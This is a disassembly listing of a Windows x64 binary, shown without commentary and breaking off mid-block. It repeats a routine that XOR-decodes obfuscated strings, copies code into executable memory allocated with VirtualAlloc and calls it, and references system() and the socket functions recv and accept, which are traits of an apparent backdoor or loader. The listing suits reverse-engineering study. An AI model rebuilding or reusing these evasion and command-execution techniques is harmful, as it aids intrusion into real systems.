jl 0x140018070
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3620]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x320], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001812d
mov rdx, rbx
cmp rax, rsi
je 0x14001811c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140018104
jmp 0x14001812d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001820f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018156
mov r8, rbx
jmp 0x1400181ee
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018160
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x320]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3620]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3600]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x328]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3640]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6350]
lea rcx, [rbp - 0x78]
call fcn.14001e9a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x1400183d2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001839d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400182b0
jmp 0x1400183d2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400183a0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3660]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x330], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001845d
mov rdx, rbx
cmp rax, rsi
je 0x14001844c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140018434
jmp 0x14001845d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001853f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018486
mov r8, rbx
jmp 0x14001851e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018490
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x330]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3660]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3640]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x338]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3680]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6388]
lea rcx, [rbp - 0x77]
call fcn.14001e9e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140018702
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400186cd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400185e0
jmp 0x140018702
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400186d0
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x36a0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x340], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001878d
mov rdx, rbx
cmp rax, rsi
je 0x14001877c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140018764
jmp 0x14001878d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001886f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400187b6
mov r8, rbx
jmp 0x14001884e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400187c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x340]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x36a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3680]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x348]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x36c0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x63c0]
lea rcx, [rbp - 0x76]
call fcn.14001ea20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140018a32
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400189fd
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140018910
jmp 0x140018a32
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140018a00
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x36e0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x350], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140018abd
mov rdx, rbx
cmp rax, rsi
je 0x140018aac
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140018a94
jmp 0x140018abd
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140018b9f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018ae6
mov r8, rbx
jmp 0x140018b7e
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018af0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x350]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x36e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x36c0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x358]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3700]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x63f8]
lea rcx, [rbp - 0x75]
call fcn.14001ea60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140018d62
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140018d2d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140018c40
jmp 0x140018d62
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140018d30
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3720]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x360], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140018ded
mov rdx, rbx
cmp rax, rsi
je 0x140018ddc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140018dc4
jmp 0x140018ded
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140018ecf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140018e16
mov r8, rbx
jmp 0x140018eae
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140018e20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x360]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x3720]
call fcn.140022f30
nop
lea rcx, [rbp + 0x3700]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x368]
call fcn.140022d20
mov r12, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x3740]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6430]
lea rcx, [rbp - 0x74]
call fcn.14001eaa0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140019092
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001905d
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140018f70
jmp 0x140019092
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140019060
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x3760]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x370], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001911d
mov rdx, rbx
cmp rax, rsi
je 0x14001910c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400190f4
jmp 0x14001911d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400191ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019146
mov r8, rbx
jmp 0x1400191de
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019150
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
